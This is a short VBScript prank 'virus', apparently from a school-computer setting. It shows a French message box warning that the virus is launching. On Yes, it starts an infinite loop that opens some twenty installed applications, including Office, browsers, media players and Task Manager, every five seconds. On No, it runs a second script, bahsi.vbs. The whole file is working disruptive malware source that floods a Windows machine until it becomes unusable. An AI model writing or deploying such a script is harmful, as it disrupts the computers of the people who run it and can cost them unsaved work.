55 lines
No EOL
2.8 KiB
Text
Executable file
55 lines
No EOL
2.8 KiB
Text
Executable file
result = MsgBox ("Désolé mais, le virus va se lancer >:)", vbInformation + vbYesNo ,"computer.exe don't works proprely")
|
|
|
|
Select Case result
|
|
Case vbYes
|
|
Do
|
|
WScript.Sleep 5000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles%\7-Zip\7zFM.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """explorer.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """taskmgr.exe"""
|
|
Loop
|
|
|
|
Case vbNo
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "bahsi.vbs"
|
|
|
|
End Select |